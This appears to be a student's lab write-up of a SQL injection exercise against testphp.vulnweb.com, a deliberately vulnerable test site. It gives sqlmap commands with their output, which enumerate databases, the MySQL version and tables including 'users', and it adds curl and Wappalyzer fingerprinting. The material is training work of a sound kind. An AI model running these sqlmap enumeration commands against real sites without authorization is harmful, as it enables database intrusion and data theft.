

Assessment #6 SQL Injection

Perform a SQL Injection attack along with other tools against the site

<http://testphp.vulnweb.com/>.

Discover the following:

1. Names of internal databases

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --dbs
```

Using Sqlmap, we are able to find that the web server has two databases, "acurat" and "information_schema."

```
[09:10:28] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[09:10:29] [INFO] fetching database names
available databases [2]:
[*] acurat
[*] information_schema

[09:10:29] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2 times
[09:10:29] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 09:10:29 /2023-11-20/
```

2. Version of database

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" --banner
```

With the same Sqlmap command followed by the --banner, we can determine the database used and its version (MySQL >= 5.0.12).

```
[09:12:04] [INFO] the back-end DBMS is MySQL
[09:12:04] [INFO] fetching banner
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '8.0.22-0ubuntu0.20.04.2'
[09:12:05] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 09:12:05 /2023-11-20/
```

3. Names of Database tables

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" -D Acurat --tables
```

```
Database: acurat
[8 tables]
+-----+
| artists |
| carts   |
| categ   |
| featured |
| guestbook |
| pictures |
| products |
| users   |
+-----+

[09:12:54] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
```

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=2" -D information_schema --tables
```

```
[09:13:45] [INFO] fetching tables for database: 'information_schema'
Database: information_schema
[79 tables]
+-----+
| ADMINISTRABLE_ROLE_AUTHORIZATIONS |
| APPLICABLE_ROLES |
| CHARACTER_SETS |
| CHECK_CONSTRAINTS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS_EXTENSIONS |
| COLUMN_PRIVILEGES |
| COLUMN_STATISTICS |
| ENABLED_ROLES |
| FILES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CACHED_INDEXES |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_COLUMNS |
| INNODB_DATAFILES |
| INNODB_FIELDS |
| INNODB_FOREIGN |
| INNODB_FOREIGN_COLS |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_INDEXES |
| INNODB_METRICS |
| INNODB_SESSION_TEMP_TABLESPACES |
| INNODB_TABLES |
| INNODB_TABLESPACES |
| INNODB_TABLESPACES_BRIEF |
| INNODB_TABLESTATS |
| INNODB_TEMP_TABLE_INFO |
| INNODB_TRX |
| INNODB_VIRTUAL |
| KEYWORDS |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PROFILING |
```

Here, we use -D followed by the database name, followed by --tables to retrieve the tables in the database.

4. PHP version

```
curl -I http://testphp.vulnweb.com/
```

```
(happy@kali)-[~/Desktop]
$ curl -I "http://testphp.vulnweb.com/"
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Mon, 20 Nov 2023 15:15:33 GMT
Server: nginx/1.19.0
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
```

By using Curl followed by -I, we can determine the web server and application used. In this case, it is nginx - 1.19.0 with PHP 5.6.40 on Ubuntu. Alternatively, tools like Wappalyzer, a browser extension, can provide information about the server, including the operating system, web server, and application hosting the web page. It is one of the easiest ways to gather details about the web server.



Editor



[DreamWeaver](#)

Operating systems



[Ubuntu](#)

Web servers



[Nginx](#) 1.19.0

Reverse proxies



[Nginx](#) 1.19.0

Programming languages



[Adobe Flash](#)



[PHP](#) 5.6.40

[Something wrong or missing?](#)

Connect Wappalyzer to your CRM



See the technology stacks of your leads without leaving your